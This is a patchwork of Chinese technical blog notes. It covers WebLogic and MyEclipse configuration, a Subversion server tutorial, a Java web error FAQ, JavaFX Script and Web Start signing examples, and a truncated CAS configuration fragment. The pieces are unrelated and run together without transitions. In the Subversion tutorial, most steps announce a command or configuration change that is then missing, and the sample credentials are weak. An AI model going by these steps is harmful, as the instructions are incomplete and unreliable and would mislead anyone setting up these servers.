安装 WebLogic 比较容易，在这里就不再累述了，大家可以参阅相关文档。现在着重讲一下 WebLogic 的配置，因为后面在配置 MyEclipse 时将用到这里的配置信息。

①运行开始 -> 程序 -> BEA Products -> Tools -> Configuration Wizard。
②选择 Create a new WebLogic domain，Next。
③在 Select Domain Source 界面保持默认，Next。
④在 User name 处输入 user，两个 password 都输入 12345678（密码要求 8 位），Next。
⑤ 在 Configure Server Start Mode and JDK 界面中保持默认，即 JDK 选择的是“Sun SDK 1.5.0_04 @ C:\BEA\jdk150_04”，注意这里若选择“Other JDK”配置比 SDK 1.5.0_04 更高的版本，服务器启动时将会出现异常，所以最好保持默认，然后 Next。
⑥在 Customize Environment and Services Settings 界面中默认为 No，Next。
⑦在 Domain name 处输入 mydomain，点击 Create。
⑧完成后点击 Done 关闭 Configuration Wizard 对话框。
⑨ 运行开始 -> 程序 -> BEA Products -> User Projects -> mydomain -> Start Admin Server for Weblogic Server Domain，检查服务器是否启动成功。

配置 MyEclipse 的 WebLogic 9 服务器

启动 Eclipse，选择“Window -> Preferences”菜单，打开首选项对话框。展开 MyEclipse 下的 Application Servers 节点，点击 WebLogic 9，选中右边的 Enable 单选按钮，启用 WebLogic 服务器。配置如下：
①BEA home directory：C:\BEA（假定 WebLogic 安装在 C:\BEA 目录中）
②WebLogic installation directory：C:\BEA\WebLogic92
③Admin username：user（来自 WebLogic 中的配置）
④Admin password：12345678（来自 WebLogic 中的配置）
⑤Execution domain root：C:\BEA\user_projects\domains\mydomain
⑥Execution server name：AdminServer
⑦Security policy file：C:\BEA\WebLogic92\server\lib\weblogic.policy
⑧JAAS login configuration file：（Null）

接着展开 WebLogic 9 节点，点击 JDK，在右边的 WLS JDK name 处选择 WebLogic 9 的默认 JDK。这里组合框中缺省为单独安装的 JRE。单击 Add 按钮，弹出 WebLogic -> Add JVM 对话框，在 JRE 主目录处选择 WebLogic 安装文件夹中的 JDK 文件夹，我的版本为 C:\BEA\jdk150_04，程序会自动填充其他选项。单击确定按钮关闭对话框。这时候就可以在 WLS JDK name 组合框中选择 jdk150_04 了。

至此，MyEclipse 中 WebLogic 9 的配置工作就算完成了。下面可以看看在 Eclipse 中能否启动 WebLogic 服务器了？安装了 MyEclipse 之后，Eclipse 工具栏中就会有一个“Run/Stop/Restart MyEclipse Application Servers”下拉按钮。点击该按钮的下拉部分，选择“WebLogic 9 -> Start”菜单，即开始启动 WebLogic 了。通过查看控制台的消息，就可以检查启动是否成功，或发生什么异常。

对常见启动问题

出现 The WebLogic Server did not start up properly. 提示和 java.io.InvalidClassException 异常的问题，通常是因为 JDK 选择不当引起的，在 MyEclipse 的配置中选择的 JDK 应该必须与配置 WebLogic 时选择的 JDK 相同。当选择默认 JDK 时，也可以在 MyEclipse 中配置 BEA 的 jrockit90_150_04 这个 JDK。

版本：v1.1

修订：2007年12月25日2:24:53

出处：blog.kysf.net

版权：作者保留对本文的一切修改、发布等权力。任何人想要转载本文部分或全部内容时，必须保留包括作者、版本、修订、出处、版权，共五项信息。对本文的参考引用，则不受限制。

关键词：subversion, 安装配置, 权限, 目录访问

1 前言
2 基本概念
2.1 什么是版本控制
2.2 什么是 Subversion
2.3 版本库（repository）
3 安装配置
3.1 安装独立服务器 SVNServer
3.2 安装 ApacheSVN 服务器
4 FAQ
5 参考资料

1、前 言

花了72小时，终于把 Subversion 初步掌握了。从一个连“什么是版本控制”都不知道的门外汉，到配置出精确至每目录访问的入门者，中间还卡了一天时间。其中费了许多气力，摸索实验了多次， 还差点放弃了，但是收获是巨大的。现把我的配置和学习过程写下来，供大家参考，也让初学者少走弯路。

由于本人不会 Unix/Linux （正在学习中），故仅以 Windows 平台为例讲解，Unix/Linux 平台请参考相关资料。如其中有谬误的地方，包括错别字，请联系我修订。

技术在分享中进步！

2、基本概念

2.1、什么是版本控制

简单点来说，版本控制就是数据仓库，它可以记录你对文件的每次更改。这样，就算你在昏天黑地的改了几个月后老板说不要了，还是按照过去那样，你也不会抓狂，简单的恢复版本操作就搞定一切。

2.2、什么是 Subversion

Subversion是一个自由/开源版本控制系统，它管理文件和目录可以超越时间。一组文 件存放在中心版本库，这个版本库很像一个普通的文件服务器，只是它可以记录每一次文件和目录的修改，这便使你可以取得数据以前的版本，从而可以检查所作的 更改。从这个方面看，许多人把版本控制系统当作一种“时间机器”。

Subversion可以通过网络访问它的版本库，从而使用户可以在不同的电脑上使用。一定 程度上可以说，允许用户在各自的地方修改同一份数据是促进协作。进展可能非常的迅速，并没有一个所有的改变都会取得效果的通道，由于所有的工作都有历史版 本，你不必担心由于失去某个通道而影响质量，如果存在不正确的改变，只要取消改变。

一些版本控制系统也是软件配置管理（SCM）系统，这种系统经过特定的精巧设计来管理源代 码，有许多关于软件开发的特性—本身理解编程语言、或者提供构建程序的工具。然而，Subversion不是这样一个系统，它是一个通用系统，可以管理任 何类型的文件集，对你这可能是源代码，对别人，可能是一个货物报价单或者是书稿等。

2.3、版本库（repository）

Subversion 的核心就是 rpository ，中文翻译成“版本库”。就是位于服务器端，统一管理和储存数据的地方。

3、安装配置

3.1 安装独立服务器 SVNServer

环境

OS：Windows XP SP2

Web：Apache 2.2.6

SVN：svn-win32-1.4.6

一、准备工作

1、获取 Subversion 服务器程序

到官方网站（http://subversion.tigris.org/）下载最新的服务器安装程序。目前最新的是1.4.6版本，具体下载地址在：http://subversion.tigris.org/servlets/ProjectDocumentList?folderID=8100&expandFolder=8100&folderID=91 ，注意找 for apache 2.2.x 版本的。

2、获取 TortoiseSVN 客户端程序

从官方网站 http://tortoisesvn.net/downloads 获取最新的 TortoiseSVN 。TortoiseSVN 是一个客户端程序，用来与 subvers 服务器端通讯。Subversion 自带一个客户端程序 svn.exe ,但 TortoiseSVN 更好操作，提高效率。

二、安装服务器端和客户端

首先安装 Apache 2.2.6 ，具体安装方法大家参考相关资料，或者参看我写的《Windows下安装Apache 2.2.x》。

其次安装 Subversion（以下简称SVN）的服务器端和客户端。下载下来的服务器端是个 zip压缩包，直接解压缩即可，比如我解压到 E:\subversion 。客户端安装文件是个 exe 可执行文件，直接运行按提示安装即可，客户端安装完成后提示重启。

三、建立版本库（Repository）

运行Subversion服务器需要首先要建立一个版本库（Repository）。版本库可以看作是服务器上集中存放和管理数据的地方。

开始建立版本库。首先建立 e:\svn 空文件夹作为所有版本库的根目录。然后，进入命令行并切换到subversion的bin目录。输入如下命令：

此命令在 E:\svn 下建立一个版本库 repos1 。repos1 下面会自动生成一些文件夹和文件。

我们也可以使用 TortoiseSVN 图形化的完成这一步：

先建立空目录 E:\svn\repos1 ，注意一定是要空的。然后在 repos1 文件夹上“右键->TortoiseSVN->Create Repository here...”，然后可以选择版本库模式，这里使用默认的FSFS即可，然后就创建了一系列文件夹和文件，同命令行建立的一样。

四、运行独立服务器

此时 subversion 服务还没有开始，只是通过它的命令建立了版本库。继续在刚才的命令窗口输入：

svnserve 将会在端口 3690 等待请求，--daemon（两个短横线）选项告诉 svnserve 以守护进程方式运行，这样在手动终止之前不会退出。注意不要关闭命令行窗口，关闭窗口会把 svnserve 停止。

为了验证svnserve正常工作，使用TortoiseSVN -> Repo-browser 来查看版本库。在弹出的 URL 对话框中输入：

点 OK 按钮后就可以看见 repo1 版本库的目录树结构了，只不过这时 repo1 是个空库。

你也可以使用--root选项设置根位置来限制服务器的访问目录，从而增加安全性和节约输入svnserve URL的时间：

以前面的测试作为例，svnserve 将会运行为：

然后TortoiseSVN中的版本库浏览器URL缩减为：

五、配置用户和权限

用文本编辑器打开E:\svn\repos1\conf目录，修改svnserve.conf：

将：

改为：

即去掉前面的 # 注释符，注意前面不能有空格。

然后修改同目录的passwd文件，增加一个帐号：

将：

增加帐号：

六、初始化导入

下面就是将我们的数据（项目）导入到这个版本库，以后就由版本库管理我们的数据。我们的任何改动都回被版本库记录下来，甚至我们自己丢失、改错数据时版本库也能帮我们找回数据。

比如，我在 d:\wwwroot 下有个 guestbook 文件夹，里面存放的是我编写的留言簿程序。在此文件夹上“右键 -> TortoiseSVN -> Import...” ，在弹出对话框的“URL of repository”输入“svn://localhost/repos1/guestbook”。在“Import message”输入“导入整个留言簿”作为注释。
点 OK 后要求输入帐号。我们在用户名和密码处都输入 test 。完成后 guestbook 中的内容全部导入到了 svn://localhost/svn/repo1/guestbook 。

我们看到在 e:\svn\repo1 没有任何变化，连个 guestbook 文件夹都没有建立，唯一的变化就是e:\svn\repo1容量变大了。实际上我们源guestbook中的内容已经导入 repo1 版本库了，源 guestbook 文件夹可以删除了。

需要注意的是，这一步操作可以完全在另一台安装了 TortoiseSVN 的客户机上进行。例如运行svnserve的主机的IP是133.96.121.22，则URL部分输入的内容就是“svn://133.96.121.22” 。

七、基本操作流程

1、取出（check out）

取出版本库到一个工作拷贝：

来到任意空目录下，比如在f分区建立一个空文件夹 f:\work 。“右键 -> SVN Checkout”。在“URL of repository”中输入“svn://localhost/svn/repo1/guestbook”，这样我们就得到了一份 guestbook 中内容的工作拷贝。

2、存入（check in）/提交（commit）

在工作拷贝中作出修改并提交：

在 guestbook 工作拷贝中随便打开一个文件，作出修改，然后“右键 -> SVN Commit... ”。这样我们就把修改提交到了版本库，版本库根据情况存储我们提交的数据。

在修改过的文件上“右键 -> TortoiseSVN -> Show Log” ，可以看到对这个文件所有的提交。在不同的 revision 条目上“右键 -> Compare with working copy”，我们可以比较工作拷贝的文件和所选 revision 版本的区别。

3.2 安装 ApacheSVN 服务器

Subversion的设计包括一个抽象的网络层，这意味着版本库可以通过各种服务器进程访问。理论上讲，Subversion可以使用无限数量的网络协议实现，目前实践中存在着两种服务器。

• SVNServer：svnserve 是一个小的（也叫轻型的）、独立服务器，使用自己定义的协议和客户端。（作者注：以下称这种服务器为“svnserver服务器”，上面的安装配置就是安装svnserver服务器。）
  
  
• ApacheSVN：Apache是最流行的web服务器，通过使用 mod_dav_svn 模块，Apache可以访问版本库，并且可以使客户端使用HTTP的扩展协议WebDAV/DeltaV进行访问。（作者注：以下称这种服务器为“ApacheSVN服务器”）

通过 Http 协议访问版本库是 Subversion 的亮点之一。ApacheSVN服务器 具备了许多 svnserve服务器 没有的特性，使用上更加灵活，但是有一点难于配置，灵活通常会带来复杂性。

由于 Subversion 需要版本化的控制，因此标准的 Http 协议不能满足需求。要让 Apache 与 Subversion 协同工作，需要使用 WebDAV（Web-based Distributed Authoring and Versioning：）Web 分布式创作和版本控制）。WebDAV 是 HTTP 1.1 的扩展，关于 WebDAV 的规范和工作原理，可以参考 IETF RFC 2518 （http://www.ietf.org/rfc/rfc2518.txt）。

一、必备条件

为了让你的版本库使用HTTP网络，你必需具备以下几个条件：

1. 配置好httpd 2.2.x，并且使用mod_dav启动。
2. 为mod_dav安装mod_dav_svn插件。
3. 配置你的httpd.conf，使http协议能访问版本库。

下面以我的配置过程详细讲解。

环境：

OS：Windows XP SP2

Web：Apache 2.2.6

SVN：svn-win32-1.4.6

二、安装

1、安装Apache

具体安装方法见：《Windows下安装Apache 2.2.x》

2、安装 Subversion

将下载下来的 svn-win32-1.4.6.zip 直接解压即可，比如我解压到 e:\subversion 。
从Subversion安装目录的 bin 子目录将 intl3_svn.dll、libdb44.dll、mod_authz_svn.so、mod_dav_svn.so 拷贝到Apache的模块目录（Apache 安装目录的 modules 文件夹）。

三、基本的Apache配置

修改Apache的配置文件 httpd.conf ，使用LoadModule来加载mod_dav_svn模块。

将：

改成：

即去掉前面的“#”号。

添加：

一定确定它在 mod_dav 之后。

现在你已经设置了Apache和Subversion，但是Apache不知道如何处理 Subversion客户端，例如TortoiseSVN。为了让Apache知道哪个目录是用来作为Subversion版本库，你需要使用编辑器（例 如记事本）编辑Apache的配置文件。

在配置文件最后添加如下几行：

这个配置告诉Apache首先需要启用 dav_module，然后加载 dav_svn_module 。版本库对外的URL是：http://服务器IP/repository ，所有的Subversion版本库在物理上位于e:/svn/repos1 。

配置完毕后重新启动 Apache，打开浏览器，输入 http://服务器IP/ repository 将会看到如下画面：

这表示 Apache 的 dav_svn 模块已经可以正常工作了。用户可以使用任何一种 Subversion 的客户端通过 Http 协议访问你的版本库。

如果想要指定多个版本库，可以用多个 Location 标签，也可以使用 SVNParentPath 代替 SVNPath，例如在 e:\svn 下有多个版本库 repos1，repos2 等等，用如下方式指定：

“SVNParentPath e:/svn ” 表示 e:\svn 下的每个子目录都是一个版本库。可以通过 http://服务器IP/repository/repos1，http://服务器IP/repository/repos2 来访问。

现在你的版本库任何人都可以访问，并且有完全的写操作权限。也就是说任何人都可以匿名读取， 修改，提交，以及删除版本库中的内容(注：这时不需要配置E:\svn\repos\conf\svnserve.conf 文件，并且也不需要启动E:\subversion\bin\svnserve.exe。因为提交是通过Apache的dav模块处理的，而不是由 svnservice处理。)。我们用 TortoiseSVN 客户端验证即知。

显然大部分场合这是不符合需求的。那么如何进行权限设置呢，Apache 提供了基本的权限设置：

四、认证选项

1、基本 HTTP 认证

最简单的客户端认证方式是通过 HTTP 基本认证机制，简单的使用用户名和密码来验证一个用户的身份。Apache提供了一个 htpasswd 工具来管理一个用户文件，这个文件包含用户名和加密后的密码，这些就是你希望赋予 Subversion 特别权限的用户。htpasswd 可以在 Apache 的 bin 安装目录下找到。具体使用方法如下：

接下来修改 httpd.conf，在 Location 标签中加入如下内容：

说明：

AuthType Basic：启用基本的验证，比如用户名/密码对。

AuthName "svn repos"：当一个认证对话框弹出时，出现在认证对话框中的信息。（最好用英文，TortoiseSVN 不支持中文，安装语言包除外。）

AuthUserFile E:/usr/Apache2.2/bin/passwd：指定E:\usr\Apache2.2\bin\passwd为用户文件，用来验证用户的用户名及密码。

Require valid-user：限定用户只有输入正确的用户名及密码后才能访问这个路径

重新启动 Apache ，打开浏览器访问版本库。Apache 会提示你输入用户名和密码来认证登陆了，现在只有 passwd 文件中设定的用户才可以访问版本库。也可以配置只有特定用户可以访问，替换上述 "Require valid-user" 为 "Require user tony robert" 将只有用户文件中的 tony 和 robert 可以访问该版本库。

有的时候也许不需要这样严格的访问控制，例如大多数开源项目允许匿名的读取操作，而只有认证用户才允许写操作。为了实现更为细致的权限认证，可以使用 Limit 和 LimitExcept 标签。例如：

以上配置将使匿名用户有读取权限，而限制只有 passwd 中配置的用户可以使用写操作。

如果这还不能满足你的要求，你希望精确的控制版本库目录访问，可以使用 Apache 的 mod_authz_svn 模块对每个目录进行认证操作。

2、用 mod_authz_svn 进行目录访问控制

首先需要让 Apache 将 mod_authz_svn 模块加载进来。在 Subversion 的安装目录中找到 mod_auth_svn 模块，将其拷贝到 Apache 安装目录的 modules 子目录下。修改 httpd.conf 文件，添加：

现在可以在 Location 标签中使用 authz 的功能了。一个基本的 authz 配置如下：

AuthzSVNAccessFile 指向的是 authz 的策略文件，详细的权限控制可以在这个策略文件中指定。访问文件 accesspolicy.conf 的语法与svnserve.conf和 Apache 的配置文件非常相似，以（#）开头的行会被忽略；在它的简单形式里，每一小节命名一个版本库和一个里面的路径；认证用户名是在每个小节中的选项名；每个选 项的值描述了用户访问版本库的级别：r（只读）或者rw（读写），如果用户没有提到或者值留空，访问是不允许的； * 表示所有用户，用它控制匿名用户的访问权限；@符号区分组和用户。如：

使用 SVNParentPath 代替 SVNPath 来指定多个版本库的父目录时，其中所有的版本库都将按照这个策略文件配置。例如上例中 tony 将对所有版本库里的 /tags 目录具有读写权限。如果要对具体每个版本库配置，用如下的语法：

这样项目1的 project1_committer 组只能对 repos1 版本库下的文件具有写权限而不能修改版本库 repos2 ，同样项目2的 project2_commiter 组也不能修改 repos1 版本库的文件。

4、FAQ

1、路径或权限不足时将出现错误信息提示：

http://localhost （路径不对）
Error * PROPFIND request failed on '/' PROPFIND of '/': 200 OK (http://localhost)

http://localhost/svn （权限不足）
Error * PROPFIND request failed on '/svn' PROPFIND of '/svn': 403 Forbidden (http://localhost)

http://localhost/svn/repos （正常显示）

http://localhost/repos （权限不允许）
Error * PROPFIND request failed on '/repos' PROPFIND of '/repos': 405 Method Not Allowed (http://localhost)

2、不启动E:\subversion\bin\svnserve.exe ，但启动了ApacheSVN ，访问（tortoiseSVN –> Repo – browser）或提交（SVN Commit）情形如下：

现象：svn://localhost/svn/repos 不能访问或提交，提示：Error * Can't connect to host 'localhost': 由于目标机器积极拒绝，无法连接。 但 file:///e:/svn/repos 和 http://localhost/svn/repos 可以访问或提交。

原因：svn:// 是独立服务器 svnserver 自己的协议。file:/// 是本地访问，即服务器端和客户端在一个机器上。

参考资料：
Subversion 官方网站：Subversion 的官方网站，提供最权威的介绍和最新的下载。
Subversion 中文手册：Subversion 简体中文官方网站翻译的中文手册。
TortoiseSVN 中文文档：Subversion 简体中文官方网站翻译的 TortoiseSVN 中文文档。
我用SVN中文论坛：国内人气非常旺的 SVN 中文交流论坛。
《用Apache和Subversion搭建安全的版本控制环境》：IBM 工程师写的基于 Linux 的教程。
百度百科：由全体网民共同撰写的百科全书

~ 全文完~

1 Q：
2006-2-27 21:31:59 org.apache.coyote.http11.Http11Protocol init
严重: Error initializing endpoint
java.net.SocketException: Permission denied: listen failed
    at java.net.PlainSocketImpl.socketListen(Native Method)
    at java.net.PlainSocketImpl.listen(PlainSocketImpl.java:343)
    at java.net.ServerSocket.bind(ServerSocket.java:319)
    at java.net.ServerSocket.<init>(ServerSocket.java:185)
    at java.net.ServerSocket.<init>(ServerSocket.java:141)
    at

org.apache.tomcat.util.net.DefaultServerSocketFactory.createSocket(DefaultServerSocketFactory.java:49)

A：
要改一下端口，在TOMCAT_HOME\conf\server.xml 把8080改成其他的。
启动之前，先用 netstat -a 检查一下 port 是不

是已经被使用了。有可能被ORACLE或者打开的Eclipse程序占用。
OracleOraHome92TNSListenerLISTENER1

2   Q：
JasperException: Failed to load or instantiate TagLibraryValidator class: org.apache.taglibs.standard.tlv.JstlCoreTLV
A: 原因lib中缺少standard.jar和servlet-api.jar两个文件，将两个文件加入用户库中。

3    错误：
java.lang.NullPointerException
原因： 发现 dao 实例、 manage 实例等需要注入的东西没有被注入
解决：这个时候，你应该查看日志文件；默认是应用服务器的 log 文件，比如 Tomcat 就是 [Tomcat 安装目录 ]/logs ；你会发现提示你：
可能是：
org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'sf' defined in ServletContext resource [/WEB-INF/applicationContext.xml]: Initialization of bean failed; nested exception is org.hibernate.HibernateException: could not configure from URL: file:src/hibernate.cfg.xml
org.hibernate.HibernateException: could not configure from URL: file:src/hibernate.cfg.xml
……………………….
Caused by: java.io.FileNotFoundException: src\hibernate.cfg.xml
可能是：
org.springframework.beans.factory.BeanCreationException: Error creating bean with name 'sessionFactory' defined in ServletContext resource [/WEB-INF/applicationContext.xml]: Initialization of bean failed; nested exception is org.hibernate.MappingException: Resource: com/mcc/coupon/model/UserRole.hbm.xml not found
org.hibernate.MappingException: Resource: com/mcc/coupon/model/UserRole.hbm.xml not found
然后你就知道原因是因为配置文件的解析出了错误，这个通过 Web 页面是看不出来的。
更多的是持久化影射文件出的错误；导致了没有被解析；当然你需要的功能就无法使用了。
  
  
4   错误：
StandardWrapperValve[action]: Servlet.service() for servlet action threw exception
javax.servlet.jsp.JspException: Cannot retrieve mapping for action /settlementTypeManage
或者：
     type Status report
     message Servlet action is not available
     description The requested resource (Servlet action is not available) is not available.

原因： 同 3
  
5   错误：
StandardWrapperValve[jsp]: Servlet.service() for servlet jsp threw exception
java.lang.ClassNotFoundException: org.apache.struts.taglib.bean.CookieTei
界面错误具体描述：
org.apache.jasper.JasperException: Failed to load or instantiate TagExtraInfo class: org.apache.struts.taglib.bean.CookieTei

     原因与解决：
   <方案一>你的“html:”开头的标签没有放在一个<html:form>中
      <方案二>重新启动你的应用服务器，自动就没有这个问题了

6 错误：
Exception in thread "main" org.hibernate.exception.SQLGrammarException: Could not execute JDBC batch update
原因与解决：
     因为Hibernate Tools（或者Eclipse本身的Database Explorer）生成*.hbn.xml工具中包含有catalog="***"（*表示数据库名称）这样的属性,将该属性删除就可以了

7   错误：
org.hibernate.ObjectDeletedException: deleted object would be re-saved by cascade (remove deleted object from associations)
原因与解决：
方法1 删除Set方的cascade
方法2 解决关联关系后，再删除
方法3 在many-to-one方增加cascade 但值不能是none
最后一招：
检查一下hashCode equals是否使用了id作为唯一标示的选项了；我用uuid.hex时是没有问题的；但是用了native，就不行了，怎么办？删除啊！
这个错误可以参见我的blog文章：
http://www.blogjava.net/crazycy/archive/2006/06/24/54939.html
  
8     错误：
exception javax.servlet.ServletException: BeanUtils.populat
root cause
java.lang.IllegalArgumentException:Cannot invoke ***Form.set*** - argument type mismatch
原因
       这个问题很奇怪的说，为啥说奇怪呢？
       先说问题的原因：问题发生如下两种情况：
           Form中是Date类型
           上传文件时
为什么说奇怪呢？主要针对Form是日期型的来说的；因为我做过N多系统Form中都是用java.util.Date，界面使用<html:text property=”date”/>;都是没有问题的。所以第一次遇到这个错误时，捣鼓了一个下午。
解决：
第一个问题：你把Date换成String；在Action中进行转换；当然转换要借助于SimpleDateFormate方法喽
第二个问题：记得在form中增加enctype="multipart/form-data" 呵呵

9   问题：
今天用Tomcat5.5.12，发现原来很好用的系统不能用了，反复测试发现页面中不能包含 taglib，否则会出现以下提示：
HTTP Status 500 -type Exception report
Message  
description The server encountered an internal error () that prevented it from fulfilling this request.
exception
org.apache.jasper.JasperException: /index.jsp(1,1) Unable to read TLD "META-INF/tlds/struts-bean.tld" from JAR file "file:*****/WEB-INF/lib/struts.jar":
原因：
更新了工程用的lib文件夹下的jar，发布时也发布了servlet.jar和jsp-api.jar。
解决：
把jsp-api.jar删除就解决这个问题了。

10   问题：Tomcat5.0.20中差错可以通过[Tomcat安装目录]/logs下的localhost_log.2006-07-14.txt类似的文件看具体的错误日志，但是在5.5中就找不到了
原因与解决：
我把[Tomcat安装目录]/bin下的tomcat5w.exe的logging标签捣鼓了一会，然后重起就有了。
原因具体说不准，用非安装版也有这个问题。

最终解决方案：
   http://tomcat.apache.org/tomcat-5.5-doc/logging.html
   
11 错误：javax.servlet.ServletException: Cannot find bean page in any scope
原因 1：检查程序，有可能是jsp中式到的bean在程序中没有运行到，所以不存在。

12 错误：No action instance for path /MenuManage could be created
原因：sturts配置问题，找不到Form对应的bean。检查jsp文件和struts-config.xml文件。

13 错误：org.hibernate.hql.ast.QuerySyntaxException: address is not mapped. [from address]
原因：检查对应bean中数据库名是否和hibernate定义的相同，注意大小写。

14 错误：org.hibernate.PropertyAccessException: IllegalArgumentException occurred while calling setter in class: com.xxx.perrsistence.Test, setter method of property: id
原因：对应bean中set方法数据类型和hibernate配置文件中定义的类型是否一致

Solution

You tried to delete an object that was allready deleted from the database.

This can happen when cascading deletes where performed somewhere and you did not reattach your object. For deleting you do not nee to reattach your object but this could prevent this problem. 

Exception Message

19:47:56,078 ERROR AbstractBatcher:61 - Exception executing batch: 

org.hibernate.StaleStateException: Batch update returned unexpected row count from update: 0 actual row count: 0 expected: 1

at org.hibernate.jdbc.BatchingBatcher.checkRowCount(BatchingBatcher.java:93)

at org.hibernate.jdbc.BatchingBatcher.checkRowCounts(BatchingBatcher.java:79)

at org.hibernate.jdbc.BatchingBatcher.doExecuteBatch(BatchingBatcher.java:58)

at org.hibernate.jdbc.AbstractBatcher.executeBatch(AbstractBatcher.java:195)

at org.hibernate.engine.ActionQueue.executeActions(ActionQueue.java:230)

at org.hibernate.engine.ActionQueue.executeActions(ActionQueue.java:145)

at org.hibernate.event.def.AbstractFlushingEventListener.performExecutions(AbstractFlushingEventListener.java:296)

at org.hibernate.event.def.DefaultFlushEventListener.onFlush(DefaultFlushEventListener.java:27)

at org.hibernate.impl.SessionImpl.flush(SessionImpl.java:1009)

at org.hibernate.impl.SessionImpl.managedFlush(SessionImpl.java:356)

var a : Number = bind model.attrib/2;

var nums = [1,2,3,4]; 

var nums2 = [1..4]; //same as above 

var numsGreaterThanTwo = nums[. > 2]; 

var numsLessThanFour = select n from n in nums where n < 4; 

Class Foo (

   attribute zap;

   function bar(x) { x + zap }

}

var afoo = Foo { zap: 14 }

var zing = 1;

var snap = afoo.bar(zing);

bind dyn = afoo.bar(zing);

import javafx.ui.*;

import javafx.ui.canvas.*;

        

Frame {

    content: Label {

        text: "Hello " + "World"

    }

    visible: true

}

compile thread: Thread[AWT-EventQueue-0,6,main]

compile 2.031

file:/C:/workspace/F3/HelloWorld.fx:6: incompatible types: expected Number, found String in "Hello "

file:/C:/workspace/F3/HelloWorld.fx:6: incompatible types: expected Number, found String in "World"

file:/C:/workspace/F3/HelloWorld.fx:6: incompatible types: expected String, found Number in text: "Hello " + "World"

String s = "Your score is " + n + " out of " + total + ".";

var s:String = "Your score is {n} out of {total}.";

import javafx.ui.*;

import javafx.ui.canvas.*;

        

Frame {

    content: Label {

        text: "Hello ".concat("World")

    }

    visible: true

}

var value = new DecimalFormat("0").parse(someString);

var total = 10

TextField {

   value: bind total

   ...

}

value: bind "{total format as <<#,##0>>}"

<?xml version="1.0" encoding="utf-8"?>

<jnlp 

        spec="1.5+" 

        codebase="http://download.java.net/general/openjfx/demos"

        href="javafxpad.jnlp">

  <information>

    <title>JavaFX Demos:JavaFX Pad</title>

    <vendor>Sun Microsystems</vendor>

    <offline-allowed />

  </information>

  <security> 

  <all-permissions/>   

  </security> 

  

  <resources>

    <j2se version="1.5+" href="http://java.sun.com/products/autodl/j2se"

        java-vm-args="-Xss1M -Xmx256M"

        >

    </j2se>

    <jar href="javafxrt.jar" main="true"/>

    <jar href="Filters.jar"/>

    <jar href="swing-layout.jar"/>

    <jar href="javafxpad.jar"/>

  </resources>

  <application-desc main-class="net.java.javafx.FXShell">

  <argument>javafxpad.Main</argument>

  </application-desc>

</jnlp>

import javafx.ui.*;



Frame {

    title  : 'Hello Web Start JFX!'

    width  : 600

    height : 400

    

    content: Label {

        text: 'Hello Web Start JFX!'

        font: Font{size: 32}

    }

       

    visible: true

}

jar cvf HelloWebStartJFX.jar HelloWebStart.fx

<?xml version="1.0" encoding="utf-8"?>

<jnlp spec="1.5+"

      codebase="http://www.example.com/HelloWebStartJFX/"

      href="HelloWebStartJFX.jnlp">

   

    <information>

    <title>Hello Web Start JFX</title>

        <vendor>John Doe</vendor>

        <homepage href="http://www.example.com/HelloWebStartJFX/"/>

        <description>Web Start example for JavaFX Scripts</description>

        <offline-allowed/>

    </information>



    <security>

        <all-permissions/>

    </security>



    <resources>

        <j2se version="1.5+" href="http://java.sun.com/products/autodl/j2se">

        </j2se>



        <jar href="javafxrt.jar" main="true"/>

        <jar href="swing-layout.jar"/>

        <jar href="HelloWebStartJFX.jar"/>          

    </resources>

    

    <application-desc main-class="net.java.javafx.FXShell">

        <argument>HelloWebStart</argument>

    </application-desc>

</jnlp>

keytool -genkey -alias jfx -dname "CN=John Doe, O=JFX Inc." -validity 9999 -keystore jfx.keystore -keypass keyPassword -storepass storePassword

jarsigner -keystore jfx.keystore -verbose -keypass keyPassword -storepass storePassword HelloWebStartJFX.jar jfx

jarsigner -keystore jfx.keystore -verbose -keypass keyPassword -storepass storePassword javafxrt.jar jfx

jarsigner -keystore jfx.keystore -verbose -keypass keyPassword -storepass storePassword swing-layout.jar jfx

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"

     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

  <head>

    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

    <title>Hello Web Start JFX!</title>

  </head>

  

  <body>  

    <h1>Hello Web Start JFX!</h1>

  

    <p><a href="HelloWebStartJFX.jnlp">Java Web Start: Hello Web Start JFX!</a></p>

  </body>

</html>

application/x-java-jnlp-file JNLP

mkdir /www/www.example.com/docs/HelloWebStartJFX/

cp index.html HelloWebStartJFX.jnlp HelloWebStartJFX.jar javafxrt.jar swing-layout.jar /www/www.example.com/docs/HelloWebStartJFX/

import java.util.Map$Entry as Entry

   import java.util.management.MemoryType; // 导入枚举

   

   var value = HEAP:MemoryType; // 使用枚举值 

   // HEAP是MemoryType中的枚举值

   

   var allValues = MemoryType.values(); // 创建包含所有枚举值的JavaFX数组

package a.b.c;



import javafx.ui.*;

import javax.swing.JComponent;



class SwingWidget extends Widget {

       attribute swingComponent: JComponent;

}



operation SwingWidget.createComponent():<<javax.swing.JComponent>> {

    return swingComponent;

}

package a.b.c;



import javafx.ui.*;

import javafx.ui.canvas.*;

import java.lang.System;

import javax.swing.JTree;

import a.b.c.SwingWidget;



Frame {

       onClose: operation() {

               System.exit(0);

       }

       content: SwingWidget {

               swingComponent: new JTree()

       }

       visible: true

       title: "WTF, the Widget Test Framework"

}

import javafx.ui.*;

                

Frame {

    title  : 'Magic Constants'

    width  : 700

    height : 400

    content: Label {text: "<html><dl>

                           <dt>__DOCBASE__</dt><dd>{__DOCBASE__}</dd>

                           <dt>__DIR__</dt>    <dd>{__DIR__}</dd>

                           <dt>__FILE__</dt>   <dd>{__FILE__}</dd>

                           <dt>__LINE__</dt>   <dd>{__LINE__}</dd>

                           <dt>__ARCHIVE__</dt><dd>{__ARCHIVE__}</dd>

                           </dl></html>"}

       

    visible: true

}// Frame

1. 修改authenticationViaFormAction以使用自己的Credentials

默认的org.jasig.cas.authentication.principal.UsernamePasswordCredentials只记录用户名和密码，在扩展一些属性如验证码时使用用自己的Credentials类替换

cas-servlet.xml:
<bean id="authenticationViaFormAction" class="org.jasig.cas.web.flow.AuthenticationViaFormAction"
   p:centralAuthenticationService-ref="centralAuthenticationService"
   p:warnCookieGenerator-ref="warnCookieGenerator"
   p:formObjectName="credentials"
   p:formObjectClass="com.nlcd.cas.authentication.principal.EcardCredentials">
      <property name="validator">  
          <bean class="com.nlcd.cas.validation.EcardCredentialsValidator"/>
      </property>
</bean>

EcardCredentialsValidator:
import org.springframework.validation.Errors;
import org.springframework.validation.ValidationUtils;
